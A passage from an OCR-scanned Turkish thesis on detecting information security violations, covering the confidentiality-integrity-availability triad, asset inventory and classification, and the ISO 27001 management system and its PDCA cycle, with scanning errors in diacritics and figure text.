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BELIRLI KISITLARA GORE
BiLGI GUVENLIGI iIHLALLERININ TESPIiTI

Tezi Hazirlayan: Ramazan ALTUN

OZET

Teknolojinin hizli ilerlemesi ile beraber bilgi giivenliginin 6nemi daha da
artmigtir.  Bilgi giivenligi, bilgileri 1izinsiz erisimlerden, kullanimindan, ifsa
edilmesinden, yok edilmesinden, degistirilmesinden veya hasar verilmesinden koruma
islemidir. Kurum bilgilerinin istenmeyen kisiler tarafindan ele gecirilmesini 6nlemek ve
giivenliginin saglanmast i¢in kurumlarda bilgi giivenligi sorumlusu atanir. Bilgi
giivenligi sorumlusunun gorevi meydana gelen ya da meydana gelebilecek ihlallerin
tespiti, ihlallerin kayit altina alinmast ve ihlallerin yonetime bildirilmesini
kapsamaktadir. Cobit kontrol hedefi ve ISO 27001 Bilgi giivenligi yOnetim sistemi

standardi, bilgi giivenligi konusunda yapilmasi gerekenlerin ¢gergevesini ¢izmektedir.

Bu tezin amaci yasanabilecek giivenlik ihlallerinin 6nceden tespit edilmesi
ayrica ISO 27001 Bilgi Giivenligi Yonetimi Sistemi ve COBIT (Control Objectives for
Information and Related Technology) bahsedilen kontrol noktalarinda gilivenligin
saglanmasinda yardimci olmaktir. Bu sayede giivenlikte yasanabilecek giivenlik
zaafiyetleri azaltilmasinda ya da en aza indirilmesine yardimci olmayi

hedeflenmektedir.

Anahtar Kelimeler: Bilgi Giivenligi Ihlali, Cobit, 1SO 27001



DETECTION OF INFORMATION SECURITY
VIOLATIONS VIA CERTAIN CONSTRAINTS

Presented By: Ramazan ALTUN

ABSTRACT

Together with the rapid progress of technology, importance of information
security has further increased. Information security is protecting information from
unauthorized access, usage, destruction, modification or damage. An information
security officer should be attained in every corporate to protect information critical to
business. A corporate information security officer or unit is to secure critical and private

information in business, keep logs and prevent related violations.

The aim of this thesis is to design a model for an early detection of security
breaches that may occur in any corporate network. Also we have aimed to shed light
how to secure information in the framework of [ISO 27001 Information Security
Management System and COBIT (Control Objectives for Information and Related
Technology). In this sense it is aimed to reduce the information security vulnerability

of businesses.

Key Words: Information Security Violation, Cobit, ISO 27001
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KISALTMALAR
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BGYS : Bilgi Giivenligi Yonetim Sistemi

IT :Information Technology (Bilgi Teknolojisi)
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TSE . Tirk Standartlar1 Enstitiisti

ISACA . Information Systems Audit and Control Association
(Bilgi Sistemleri Denetim ve Kontrol Birligi)

ITGI :  The IT Governance Institute

(Bilisim Teknolojileri Yonetisim Enstitiisii)

BT . Biligim Teknolojileri

SQL : Structured Query Language (Yapilandirilmis Sorgu Dili)
CPU : Central Processing Unit (Merkezi islem Birimi)

RAM :  Random Access Memory (Rastgele Erisimli Bellek)
MAC . Media Access Control (Ortam Erigim Kontrolii)
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1. GIRIS

‘Bilgi’ kavraminin gelisen teknoloji ile beraber énemi hizla arttigindan yola
cikarak taniminin yapilmasi gerekir. “...Bilgi, kagit veya baska ortamlar iizerine
kaydedilmis, anlagilabilen ve iletilebilen veriler toplulugudur. “[1] veya “Zihnin
herhangi bir bi¢imde resmi veya gayri resmi olarak iletilen, kaydedilen, yayimlanan
fikirlerin ger¢cek ve hayali iriinleridir.”’[2] Giiniimiiz teknolojisinin hayatimiza
girmesiyle beraber bilginin Onemi her gegen giin artmaktadir. Gelisen diinyada
teknolojinin ilerlemesi ile bilgi siirekli yenilenmekte ve buna bagli olarak bu hiza

yetisebilmek icin insanlar yeni ¢oziimler arayisindadirlar.

Sanayi devriminde bilgi sadece toplanir ve saklanirken giiniimiizde bilgi alinip
ve satilmaktadir. Kurumlarda kurum ig¢i bilgiler ile kurum dis1 bilgiler toplanip bilgi
sistemleri catis1 altinda toplanip muhafaza edilmektedir. Bu bilgi sistemlerinde bilgilerin
eksiksiz ve hatasiz saklanmasi i¢in kurumlar kendi dlgekleri dogrultusunda siirekli
yenileme calismalar1 yapmaktadir. Bu da bilginin ne kadar 6nemli bir noktaya geldigini

gostermektedir.

2. BiLGI GUVENLIGIi NEDiR?

Bilgi giivenligi, bilgileri izinsiz erisimlerden, kullanimindan, ifsa edilmesinden,
yok edilmesinden, degistirilmesinden veya hasar verilmesinden koruma islemidir. Bilgi
giivenligi, bilgisayar giivenligi ve bilgi sigortasi terimleri, sik olarak birbirinin yerine
kullanilmaktadir. Bu alanlar alakalidirlar ve mahremiyetin, biitiinliigiin ve bilginin
ulagilabilirliginin korunmasi hususunda ortak hedefleri paylasirlar, ne var ki aralarinda
bazi ince farkhiliklar vardir. Bu farklar, agirlikla konuya yaklasim, kullanilan
yontemlere iliskindir. Bilgi giivenligi, verinin mahremiyeti, biitlinliigii ve ulasilabilirligi

ile verinin bigiminden bagimsiz olacak sekilde ilgilidir:

Bilgi giivenligi, ii¢ temel unsurdan meydana gelmektedir. Bu temel unsurlar sunlardir:



GIZLiLiK

Sekil 1. Bilgi Giivenliginin U¢ Temel Unsuru [3]

Asagida listelenen 3 temel gilivenlik 6gesinden herhangi biri zarar goriirse giivenlik

hususunda bir zayiflik meydana gelir.

Gizlilik (Confidentiality):

Kurumun gizli ve 6zel bilgilerinin kurum tarafindan yetkilendirilmis kisi ya da
kisiler tarafindan erisime agik, yetkisiz kullanicilarin ise erisiminin

engellenmesidir.
Biitiinliik (Integrity):

Kurumun gizli ve 06zel bilgilerinin yetkisiz kisi ya da kisiler tarafindan

degisimlere ve bozulmalara kars1 korunmasidir.
Erisilebilirlik (Availability):

Kurumun gizli ve 6zel bilgilerinin kurum tarafindan yetkilendirilmis kisi ya da

kisiler tarafindan siirekli ulasilabilir ve kullanilabilir durumda olmasidir.

Bu ii¢ temel unsur birbirinden bagimsiz olarak diigiiniilememektedir. Bilginin

gizliliginin saglanmast o bilginin erisilebilirligini engellememelidir. Ayni1 zamanda

erisilebilen bilginin biitiinliiglinlin de saglanmasi énemlidir. Eger bir bilgi i¢in sadece

gizlilik saglaniliyor ve bilgiye erisim engelleniyor ise kullanilamaz durumda olan bu

bilgi bir deger ifade etmeyecektir. Eger erisimi saglaniyor ancak biitiinliigii saglanmiyor

ise kurumlar ve kisiler i¢in yanlis veya eksik bilgi s6z konusu olacak ve olumsuz

sonuglara neden olabilecektir. Dolayisiyla bilgi giivenligi kavrami temel olarak bu ii¢

unsurun bir arada saglanmasi demektir.[4].



Yukaridaki ii¢ temel unsurun disinda agiklanabilirlik, inkdr edememe,

giivenilirlik gibi unsurlarda mevcuttur.

Bilgi giivenliginin saglanmasina yonelik kurumlar tarafindan yapilan yatirimlar
her gecen yil artmaktadir. Forrester Research adli Arastirma sirketinin 2013 yilina
iliskin yayinladig1 rapora gore diinyada bilisim sektdriine 2.069 trilyon Amerikan dolar1

yatirip yapilacagi ongoriilmektedir. (Sekil.2)

(US3 billions)
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523485 $69.2
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Custom-built software Peripherals
by contractors $71.0
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3753 Hosting
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Application Entegprise and
i MEBs
Ouiéggrg " Telcos $128.7
" Application $193.1
management

$21.9

Sekil 2. 2013 Y1l Bilgi Teknolojilerine Yapilacak Yatirim Tahmini [5]

International Data Corporation (IDC) adl sirketin 2014 yilinda Tirkiye ‘deki
Bilgi Teknolojilerine yapilacak yatirimin toplam 11.82 milyar Amerikan dolara ulasarak
gegen yil yapilan yatirnmin %8,6 oraninda yiikselecegi tahmin edilmektedir. Bunun
ozellikle tiiketici, ulasim, finans, iletisim ve kamu sektorii tarafindan daha da

yiikseltildigi belirtilmistir.



Bilgi giivenliginin saglanmasma yonelik olarak kurumlar tarafindan maddi
yatirimlar yapilmadiginda meydana gelen zararlarin ekonomik boyutu her gecen giin
katlanarak artmaktadir. Bilgi giivenligi ihlallerinin meydana getirdigi zararlar yapilmasi
gereken giivenlik yatirnmlariyla kiyaslandiginda farkin c¢ok biiylik oldugu giivenlik

firmalarimin yapmis oldugu arastirmalar tarafindan agikca gortilmektedir. [4]

Uluslararas1 denetim ve danigsmanlik firmas1 Ernst & Young, Tiirkiye’nin de
icinde bulundugu elliyi askin iilke ve ¢esitli sektorlerden yaklasik 1400 kurulusun
katilimiyla “2008 Kiiresel Bilgi Giivenligi Anketi” adli bir ¢alisma gergeklestirip bilgi

giivenliginin 6nemini vurgulayan sonuglarini yayinlamistir. [4]

Ankette, bilgi giivenliginin dogru uygulanmasinin kurum itibarint dogrudan
etkiledigi sonucu ortaya c¢ikmustir. Katilimeilarin %85°1 bir bilgi giivenligi ihlali
durumunda ortaya c¢ikan durumun, marka kimligi ve itibarina zarar verdigini

savunurken, %72’si gelir kaybina neden olduguna deginmistir. [4]

S6z konusu Tirk katilmeilar, bilgi giivenliginin kagit {izerinde bir
zorunluluktan ibaret olmadigin1 diisiindiigii goriilmiistiir. Tiirkiye’deki Bilgi Giivenligi
Yonetimi  Sistemi’ni, ISO 27001 gibi sertifikasyon amaci giitmeden kurdugunu

belirtenlerin orani, ankete katilanlarin yarisini olugturmaktadir. [4]

Bilgiye siirekli olarak erisilebilirligin saglandigi bir ortamda, bilginin
gondericisinden alicisina kadar gizlilik igerisinde, bozulmadan, degisiklige ugramadan
ve bagkalar1 tarafindan ele gecirilmeden biitlinliigiiniin saglanmasi ve giivenli bir sekilde
iletilmesi siireci bilgi glivenligi olarak tanimlanmaktadir. Kurumsal bilgi gilivenligi ise,
kurumlarin bilgi varliklarinin tespit edilerek zafiyetlerinin belirlenmesi ve istenmeyen
tehdit ve tehlikelerden korunmasi amaciyla gerekli giivenlik analizlerinin yapilarak
Onlemlerinin alinmasi olarak diisiiniilebilir [6]. Bir kurumun bilgi varliklar1 bulmanin en
dogru yontemi risk analizinin yapilmasidir. Yapilan analiz sonucunda diisiik riskli, orta
riskli, yliksek riskli ve kritik riskli seklinde listeleyerek yapilan bir g¢alismanin
sonucunda ortaya ¢ikan tablo kurumun bilgi varliklarmi ortaya koyar. Bilgi varliklart
sadece kurumdaki bilgi teknolojilerinin satin aldigi yazilim, sunucu, donanim
driinlerinden ibaret degildir. Bir kurum calisaninda bir bilgi varligi oldugu

unutulmamalidir.



Ornek bir bilgi varhig1 envanteri olusturma metodolojisinde izlenecek yol:

Kurumda korunmasi gereken bilgi varliklarii tespit ederken Sekil 3’deki
varlik siiflandirma piramidini kullanmak hem varlik envanterinin eksiksiz
olusturulmasini hem de bu islemin daha kolay bir sekilde yapilmasini saglayacaktir.
Varlik envanteri olusturulurken Once varliklarin isimleri tespit edilmelidir. Varlik
isimleri tespit edilirken piramit yukaridan asagiya dogru kullanilacaktir. Donanim
varliklar1 en somut varliklar olduklar1 i¢in tespit etmesi en kolay olan varliklardir.
Oncelikle donanim varliklar1 tespit edilecektir. Donanim varliklarinin tamaminin
listelendigini kontrol edebilmek amaciyla her bir varligin bulundugu yer de ayrica
belirtilmelidir. Daha sonra donanim varliklarinin bulundugu liste kullanilarak yazilim
varliklar tespit edilecektir. Yazilim varliklar tespit edilirken her bir donanim varligi
ayrt ayri degerlendirilmeli ve bu donanimlarin iizerinde bulunan yazilimlar
listelenmelidir. Yazilim varliklari listesinin tam olup olmadigini kontrol etmek i¢in
yazilim varliklarimin listelendigi tablonun bir siitununda varligin bulundugu donanimin
belirtilmesi i¢in kullanilmalidir. Yazilim varliklarinin tespitinden sonra bu yazilimlarin
isledigi bilgi listelenerek bilgi varliklarinin listesi olusturulmalidir. Bilgi varliklarinin
bulundugu listenin tiim bilgi varliklarini igerip igermedigini ¢apraz kontrol ile tespit
etmek i¢in bilgi varliklarinin bulundugu tablonun bir siitununda da varligi isleyen
yazilim belirtilmelidir. Bilgi varliklar1 sadece yazilimlar tarafindan islenen bilgiler
olmayabilir. Yazili haldeki dokiimanlar da bilgi varlig1 olarak degerlendirilmelidir. Bu

tiirdeki bilgi varliklarinin saklandiklari yer de belirtilmelidir.[7]

VARLIK ISIMLERININ GUVENLIK KRITERLERININ
BELIRLENMESI BELIRLENMESI
IS
DONANIM
VARLIKLARI

YAZILIM VARLIKLARI

~J/ BILGI VARLIKLARI

Sekil 3. Varlik Siniflandirma Piramidi [7]

5



Varlik listesi olusturulduktan sonra her bir varligt daha somut olarak

tanimlamamizi saglayacak bazi 6zellikleri (seri no, sahibi, lisans bilgisi vs.) kullanarak

varlik envanteri olusturulacaktir. Varlik envanteri olusturulurken yazili hale getirilecek

olan 6zellikler varligin tiiriine gore degisiklik gostermektedir [7]. Her bir varlik tiirii igin

olusturulacak envanter tablosu i¢in her bir ¢esit varlik i¢in ayri tablolar olusturulur.

Donanmim Varhklar::

Donanim varliklarinin yazilacagi tablo sablonu Sekil 4’de gosterildigi
sekilde olacaktir. Donanim varliklar1 olusturulurken bilgi isleyen her tiirli
donanim yazilacak, klavye, mouse gibi bilgi islemeyen ve bulundurmayan

donanimlar yazilmayacaktir.[7]

Seri No

Varhk | Aciklama | Sahibi | Cinsi | Fiziksel Konum | Gizlilik |Biitiinlik | Kullamlabilirlik | Aciklama/Gerekee

Sekil 4. Donanim Varliklar1 Envanter Sablonu [7]

Yazilim Varhklar::

Yazilim varliklarmin yazilacagi tablo sablonu Sekil 5°de gosterildigi
sekilde olacaktir. Yazilim varliklar1 olusturulurken kurum biinyesinde kullanilan
ve bilgi islem tarafindan satin alimi1 ve destek faaliyetleri yiiriitiilen her tiirli
isletim sistemi, uygulama yazilimi belirtilecektir. Lisanssiz olan yazilimlar

yaygin sekilde kullaniliyorsa lisanssiz oldugu belirtilerek yazilacaktir. [7]

Serino

Lisans Yazilmm
Varhk |Tamm | Sahibi Gizlilik | Biitiinliik | Kullamlabilirlik |Acqklama/Gerekce
hilgisi bulundugu yer

Sekil 5. Yazilim Varliklar1 Envanter Sablonu [7]
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e Bilgi Varhklar:

Bilgi varliklarinin yazilacagi tablo sablonu:

Bilgivi | Bilgii Bilgive
Bilgi Bulundugu |Fizlksel | ileyen | isleven Erisen | Yedeldenme
Sering | Varhd | Tamm | Sahibi | Ortam Yer  |vamhmlar | donammlar | Taraflar | Durumu | Giglilk | Biitiinlik | Kullandabilirlk | Aqklama/Gerekce

Sekil 6. Bilgi Varliklar1 Envanter Sablonu [7]

e Digerleri:

Bilgi varlig1 envanterinde genellikle unutulan son iki varlik tiirii insan ve
prestijdir. Siireglerin ¢alismasini saglayan insanlar ve sahip olduklar1 beceriler
ve uzmanliklar1 bilgi giivenliginde 6nem arz ettiginden dolayr bunun uygun bir
sekilde korunmasi i¢in envanterde bulunmasi gerekir. Benzer sekilde iirettigi ve
satti1 Uiriin ve hizmetlerden bagimsiz olarak varliklarini ortaya koyan prestijdir.

Prestijinde bilgi giivenligi icin envanter de yer almasi uygundur.

Varlik listesinden sonraki asama olan varlik envanteri olusturulma asamasinda
her bir varlik i¢in varligin giivenlik kriterleri olan gizlilik, biitlinliik, kullanilabilirlik
degerleri belirlenecektir. Varliklarin giivenlik kriterlerine ait degerler belirlenirken Sekil
3: Varlik Smiflandirma Piramidi yukar1 yonde kullanilacaktir. Bilgi varliginin giivenlik
kriterlerine ait degerleri hesaplamak diger varliklara gore daha kolay oldugu i¢in
oncelikle bilgi varliklarmin gizlilik, biitiinliik, kullanilabilirlik kriterlerinin degerleri
belirlenecek, daha sonra bu varlig1 isleyen yazilim i¢in giivenlik kriterlerine ait degerler
belirlenecektir. Yazilim varligr i¢in gilivenlik kriterleri belirlendikten sonra yazilim
varliginin lizerinde bulundugu donanim varlig1 i¢in de bu degerlerden faydalanilarak
giivenlik kriterlerinin degerleri belirlenecektir. Bilgi varliginin giivenlik kriterlerine ait
degerler bu varlig1 isleyen yazilim varhiginin degerlerini, yazilim varhiginin giivenlik

kriterlerine ait degerler de ilgili donanim varligiin degerlerini dogrudan etkileyecektir.



Ornegin, bilgi varlig1 olan personel veri tabaninin kullanilabilirlik degeri yiiksek ise bu
veri tabanini kullanan yazilimin ve bu yazilimin iizerinde ¢alistigi donanimin da

kullanilabilirlik degeri en az yiiksek olarak belirlenmelidir.[7]

Biitiin bilgi varliklarinin {i¢ temel unsuru bulunur ve bu unsular envanter de belirtilir:

e Varlik Sahibi
e Varhk Kullanicisi
e Varhk Emanetcisi

Sekil 7. Bilgi Varliginin Temel Unsurlari

Standart, her varlik i¢in sahibinin belirlenmesini talep eder. Burada sahiplik ile
ilgili varligin parasini 6deyen anlaminda degil, giivenlik ihtiyaclarmi belirleyen kisi
olarak tanimlanir. Varligin sahibi gizlilik, biitiinliik ve kullanilabilirlik agisindan varligi
dogru sekilde smiflamali, varlia kimlerin hangi haklarla erigmesi gerektigini
tamimlamali ve tiim bunlar1 diizenli olarak gdzden gegirmelidir. Ozel durumlar ve

istisnalar olmakla birlikte bir varligin sahibi genellikle ilgili is siirecinin de sahibidir.

Varligin sahibi, yetki ve sorumluluk kendisinde kalmak sart1 ile varliklara
erisimi kontrol etmeyi bir bagkasina delege edebilir. Bu kisilere varlik emanetgisi ad1
verilir. Bilgi islem departmanlar1 ve c¢alisanlar1 genellikle varlik emanetgisidir ama

varlik sahibi zannedilir. Miisteri bilgilerinin bulundugu ana veri tabaninin yoneticisi, ya
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da ilgili sistem yoneticisi, bilginin sahibi degil, sahibinin ortaya koyacagi kurallar

teknik olarak isletmesi gereken varlik emanetgisidir.

Varlik emanetgilerinin ve varlik kullanicilarinin (is yapabilmek i¢in varliga
erisen diger tim servis ve kullanicilar) ilgili varliga nasil erisebilecekleri, neler
yapabilecekleri varlik sahibi tarafindan tanimlanmalidir. Bu tanim herhangi bir bicimde
ve yontemle olabilirse de genel kurallarin tanimlandigi politika ciimlelerinin
olusturdugu dokiimanlara kabul edilen kullanim adi verilir. Kabul edilenr kullanim
politikalart ilgili varligin kullanimin1 sadece sirket calisanlari i¢in degil, dis kaynak

calisanlari, tedarikgiler, miisteriler ve diger li¢iincii parti kisiler i¢in de tanimlar.

Sir
(Top Secret)

Gizli
(Confidential)

Dahili Kullanim (Internal
Use Only)

Halka Acik (Public)

Sekil 8. Giivenlik Piramidi

Kurum i¢indeki her bir varlik i¢in tek tek giivenlik kurallarini tanimlamak, bu
kurallar1 tiim calisanlara aktarmak ve uymalar1 beklemek ¢ok gercek¢i olmayacaktir.
Uygulanabilecek en iyi yontem, tiim varliklart kurumun ihtiyacina gére farkli siniflara

ayirmak ve bu giivenlik siniflari i¢in ortak kurallar belirlemektir.

Her kurum kendi kullanimi i¢in kendi siniflarini belirleyebilir. Sik kullanilan
yontemlerden biri dort seviyeli siniflamadir. Bu smiflamada sirasiyla genel kullanima
acik, dahili kullanim, gizli ve sir siniflar1 yer alir. Halka agik varliklarda sirketin adi,
verdigi hizmetler, iriinleri, genel fiyat listeleri, pazarlama materyalleri gibi genel
kullanima acik bilgileri kapsar. Bu bilgiler zaten kurum tarafindan tiim pazarla

paylasilmak istendiginden herhangi bir gizlilik igermez.



Dahili kullanim varliklari, eksiksiz tiim sirket calisanlar1 tarafindan kullanilan
ancak disartya agik olmayan varliklardir. Giivenlik politikalar1 ve prosediirleri, sirket
dahilindeki telefon listesi, ortak fotokopi cihazlarit bu sinifta degerlendirilebilir. Gizli
varliklar kurum igindeki bir ya da iki bolim tarafindan bilinen, tiim caligsanlarla bile
paylasilmayan gizlilik derecesi yiiksek varliklardir. Uretim planlari, miisteri listeleri,

maliyet hesaplar1 bu sinifta degerlendirilebilir.

En st seviyedeki gizlilik ihtiyaci olarak sir niteligindeki varliklardadir. Bu
varliklar kurum i¢inde sadece birkag¢ kisi tarafindan bilinirler. Paylagilmasi, taginmasi
hatta iizerinde tartisilmasi Ozel kurallara bagli olabilir. Gelecek stratejileri, yeni
organizasyon ve calisma bigimleri agiklama tarihinden once sir olarak nitelendirilebilir

varlik 6rnekleridir.

Bir varlik, tiim hayati1 boyunca ayni sinifta kalabilecegi gibi, belirli sartlara ve
zamana bagl olarak sinif degistirebilir. Sirket telefon rehberi her zaman ayn sinifta,
dahili kullanim olarak kalir. Yeni piyasaya sunulacak bir iirtin ile ilgili teknik 6zellikler
tasarim asamasinda sir, liretime gegme hazirliginda gizli, piyasaya sunulmasi ile birlikte
halka a¢ik sinifinda degerlendirilebilir. Tiim bu simiflar arasindaki gegis sartlarini yine

varligin sahibi diizenler ve kontrol eder.

Varliklarin tanimlandiklari sinifa uygun olarak korunmalari ve kullanilmalarini
saglamak icin, etiketlenmeleri gerekir. Hem fiziksel hem de sozlii ve elektronik
ortamdaki varliklar uygun sekilde etiketlenmelidir. Etiketleme konusunda standardin

belirledigi ortak bir yontem yoktur. Her kurum kendi yontemine kendisi karar verir.

Iyi bir etiketleme ydntemi kurumsal smiflama yontemi ile ortak yapida olmall,
etiketleme ve etikete bagli olarak sinif algilama kolay olmalidir. Yine 6nceki d6rnekten
devam edilirse kagit dokiimanlarda her sayfanin sag alt kosesinde ve ilk sayfanin
ortasinda dokiimanin (belgenin) sinifi yazilabilir. Sir niteligindeki dokiimanlar kolay

ayristirtlmalart icin beyaz yerine farkli renkli kagitlara basilabilir. Ayn1 bilgileri iceren
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CD ve benzeri elektronik ortamlar iizerinde de varlik simifi yazilarak etiketleme

yapilabilir.

Bilgi Giivenligi sadece Bilgi Teknolojileri (BT) ya da Bilgi Sistemlerinde
yOnetici ve calisanlarin isi tek degildir aksine kurumun tiim ¢alisanlarini ilgilendiren ve
bunlarin katkilarim1 ve katkisini gerektirir. Bilgi gilivenliginin saglanmasinin kuruma

avantajlar1 sunlardir:

e Kurumsal itibarin saglanmasi

e Tehdit ve risklerin belirlenmesiyle etkin bir risk yonetiminin saglanmasi

e s siirekliliginin saglanmasi

e Bilgi erisimine denetlenmesini saglar

e Personele bilgi giivenligi bilincinin bilgi giivenligi farkindalik egitimiyle
asilanmasi

e Bilgi varliklariin gizlilik, biitiinliik, erisilebilirligin saglanmast

e Kurumsal varliklarin kotii amagli kullanimlarin ve suiistimallerin engellenmesi

e Bilgilerin kurum i¢i ve kurum dis1 tarafindan denetimlerde giivenli bir sekilde
bilgi verilmesini saglar

e Bilgi sistemlerini kullanan kisilerin bilingsiz kullanim1 veya bilmeden neden
olabilecekleri donanimsal, yazilimsal ve bilgisayar aginda meydana gelebilecek
zararlara kars1 korunmasini saglar

e Bilgi giivenliginin etkinliginin izlenmesi

2.1 BILGIi GUVENLIGI VE ISO 27001 STANDARDI

International Organization for Standardization (ISO) Tiirkgesi Uluslararasi
Standartlar Teskilat1 olan teskilat 1946 yilinda biitiin teknik ve teknik olmayan dallarda
standartlarin belirlenmesi amaciyla kurulmustur. Uluslararas1 Standartlar Teskilatina
iiye iilke sayis1 162 ‘dir. Uye iilkeler teskillatta yetkili bir organ da temsil edilir.
Teknolojik standartlar her bes yilda bir gézden gegirilir ve gerekli goriildiigii takdirde
degisiklikler yapar.
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ISO 27001 Bilgi Giivenligi Yonetim Sistemi standartlarinin temelleri British
Standards Institution (BSI) tarafindan 1995 yilinda yaymlanmis olan BS 7799
standartlarina dayanmaktadir. BSI tarafindan yaymlanmis BS 7799 standardi daha sonra
2000 yilinda ISO (International Organization for Standardization) tarafindan ISO 17799
Bilgi giivenligi yonetimi igin uygulama prensipleri standardi olarak kabul edilmistir.
Tirk Standartlar1 Enstitiisii tarafindan Tiirkgeye terciime edilerek TS ISO/IEC 17799
baslhigr altinda Tirk standardi olarak yaymlanmistir. 2005 yilinda International
Organization for Standardization (ISO) tarafindan ISO 27001 Bilgi Giivenligi Yonetim
Sistemi Gereklilikleri adiyla yaymlanmistir. ISO 27001 ve 27002 standartlarinin en
giincel revizyonlar1 ise 25.09.2013 tarihinde yayinlanmigtir. 1ISO 27001, TSE (Tiirk
Standartlar1 Enstitiisii) tarafindan Tirk¢e ’ye ¢evrilmis ve TS ISO/IEC 27001 olarak

yayinlanmustir.

Sadece teknik dnlemlerle (giivenlik duvarlari, saldir1 tespit sistemleri, anti viriis
yazilimlari, sifreleme, vb.) kurumsal bilgi gilivenliginin saglanmasinin miimkiin
olmadig1 goriilmiistiir. Bu nedenle teknik Onlemlerin Gtesinde, insanlari, siirecleri ve
bilgi sistemlerini i¢ine alan ve iist yonetim tarafindan desteklenen bir yonetim

sisteminin gerekliligi ortaya ¢ikmistir.[4]

Kurum veya kuruluslarin iist diizeyde bilgi giivenligini ve is siirekliligini
saglamalar i¢in, teknik Onlemlerin yaninda teknik olmayan (insan faktori, prosediirel
faktorler, vb.) dnlemlerin ve denetimlerin alinmasi, tiim bu siireclerin devamliliginin
saglanilmast ve bilgi giivenligi standartlarina uygun olarak yonetilebilmesi amaciyla
yonetim tarafindan desteklenen insanlari, is siireclerini ve bilisim teknolojilerini
kapsayan bilgi giivenligi standartlarina uygun olarak Bilgi Giivenligi Yonetim Sistemi
(BGYS) kurmalar gerekmektedir. Bilgi gilivenligi standartlart kurumlarin kendi is
siireclerini bilgi giivenligine yonelik risklerden korumalar1 ve Onleyici tedbirleri
sistematik bi¢imde isletebilmeleri ve standartlarin geregini yerine getiren kurum veya

kuruluslarin belgelendirilmesi amaciyla gelistirilmistir.[4]
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ISO 27001 Bilgi Giivenligi Yonetim Sistemi (BGYS) ,kurumda yasan bir siire¢

olmak zorundadir. Bu standart icinde Planla- Uygula- Kontrol Et- Onlem Al (PUKO)

dongiisii benimsenmistir.

Sekil 9. PUKO Modeli

Bilgi Giivenligi Yénetim Sisteminde (BGYS) uygulanan PUKO modeli asamalar1 su
sekildedir:

Planlama:

Bilgi Giivenligi Yonetim Sisteminin kurulmasini ifade etmektedir. Kurumun
BGYS politikasi, amaclari, hedefleri, prosesleri ve prosediirlerinin

olusturulur.[4]

Uygulama:

BGYS’nin gerceklestirilmesi ve isletilmesini yani, BGYS politikasi, kontroller,

prosesler ve prosediirlerin gergeklestirilip isletilmesini ifade etmektedir.[4]
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e Kontrol Et:

BGYS’nin izlenmesi ve gozden geg¢irilmesi, BGYS politikasi, amaglar ve
kullanim deneyimlerine gore proses performansinin degerlendirilmesi ve
uygulanabilen yerlerde Olgiilmesi ve sonucglarin gézden gecirilmek {izere

yonetime rapor edilmesini ifade etmektedir.[4]

e Onlem Al:

BGYS’nin stirekliliginin saglanmast ve iyilestirilmesi, yonetimin goézden
gecirme sonuglarina dayali olarak, diizeltici ve Onleyici faaliyetlerin
gerceklestirilerek BGYS’nin siirekliliginin ve iyilestirilmesinin saglanmasini

ifade etmektedir.[4]

Bu asamalar stirekli bir bigimde birbirini izleyerek yasayan bir sistem
olusturmaktadir. Kurumsal bilgi giivenlik politikalarimin  olusturulmasi, BGYS
kapsaminin belirlenmesi, varliklarin yonetimi, risk yonetimi, dokiimantasyon olusturma,
denetim kontrollerinin se¢ilmesi, uygulanabilirlik beyannameleri ve yonetimin gdzden
gecirmesi BGYS’nin kurulum adimlaridir. BGYS'nin kurulmasi; varlik envanterinin
yapilmasi, bu varliklara karsi olasi risk ve tehditlerin tespit edilmesi, gilivenlik
politikalarinin ~ olusturulmasi, denetimlerin ve uygulamalarin kontrolii, uygun
coziimlerin gelistirilerek sistemin iyilestirilmesi gibi birbirini izleyen ve tamamlayan

denetimlerin gergeklestirilmis olmasi demektir.[4]

2.1.1 Bilgi Giivenligi Yonetim Sisteminin Kurulmasi

ISO 27001 Bilgi Giivenligi Yonetim Sistemlerinin standardinin kurulmasi asamasi

asagidaki adimlardan olusmaktadir:
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Sekil 10. ISO 27001 Siiregleri [8]

Bilgi Giivenligi Politikasi:

Bilginin kurumdaki yetkili kisiler tarafindan erisilebilir olmasini, tam ve
dogrulugunun saglanmasini, yetkisiz degisimlerden korunmasimi, yetkili
kullanicilar tarafindan kullanilabilecek durumda olmasmi ifade eden iist
yonetimin destegi ile tiim birimlerin ve ¢alisanlarin koordinasyonunda kuruma

ait bir politikadir.

Bilgi Giivenligi Organizasyonu:

Bilgi Giivenligi ‘nin saglanmasinda rol alacak tiim birimlerin rol ve
sorumluluklarinin tanimlanmasi, bilgi gilivenligi politikasinin olusturulmasi,

giivenlik rollerinin tanimlanmasi, Bilgi Gilivenligi Komitesinin rol ve
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sorumluluklarinin belirlenmesi, bilgi giivenligi sorumlusunun roliiniin belirlenip

atanmasidir.

Varhk Yonetimi:

Varliklarin agik¢a tanimlanmasi, her bir varlik icin gizlilik, biitiinlik
erigilebilirlik acisindan degerlendirme yapilmasi, varliklarin siniflandirilmas,
gizlilik seviyelerinin belirlenmesi, varlik yonetim prosediiriiniin hazirlanmasi

beklenmektedir.

Insan Kaynaklar Giivenligi:

Kurum c¢alisanlarina ve iiglincii taraf ¢alisanlarina bilgi giivenliginin anlagilmasi
saglanir ve tiim calisanlarin bilgi giivenligi politikas1 hakkinda bilgilendirilir ve
gizlilik anlagmasi imzalar. Insan kaynaklar1 giivenlik politikas1 ile bilgi
giivenligi yonetim sistemini destekler kurallar anlatir. Ayrica isten ayrilan

personelin bilgi varliklarina erisim yetkiler iptal edilir.

Fiziksel ve Cevresel Giivenlik:

Fiziksel gilivenlik politikasi olusturulur ve yangin, sel, patlama ve diger dogal ya
da insan kaynakl felaketlere karsi giivenli bir ortamin olusturulmasi hedeflenir.
Calisma ortaminda kurallar, erisim kurallar1 ve izleme mekanizmalar1 uygulanir.
Ihtiyag duyulmayan gizli bilgilerin imha edilmesi siirecinin uygun ydntemlerle
yapilmasi saglanir. Temiz masa politikasinin uygulanmasi, gizli bilgilerin ev
ortamina, sifresiz hard disklere, erisime ag¢ik depolama ortamlarinda

taginmamasi saglanir.

Haberlesme ve Isletim Yonetimi:

Sistemin uygun sekilde isletilmesi, denetlenebilir olmasi, iyilestirilebilir olmasi

amaciyla gerekli isletim talimatlar1 hazirlanir. Ayrica gizli bilgilerin haberlesme
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sirasinda ti¢lincii kisilerin eline gegmemesi i¢in dnleyici ve engelleyici tedbir ve

kontroller uygulanir.

e Erisim Kontrolii:

Gorevler ayriligr ilkesine uygun olarak kurum calisanin yetkileri dahilinde
kimlik dogrulama mekanizmas1 kullanarak bilgi sistemlerine erigim
saglamasidir. Uciincii kisilerin bilgi sistemlerine erisimlerinde giivenligi

saglamak i¢in diizenleme yapilir.

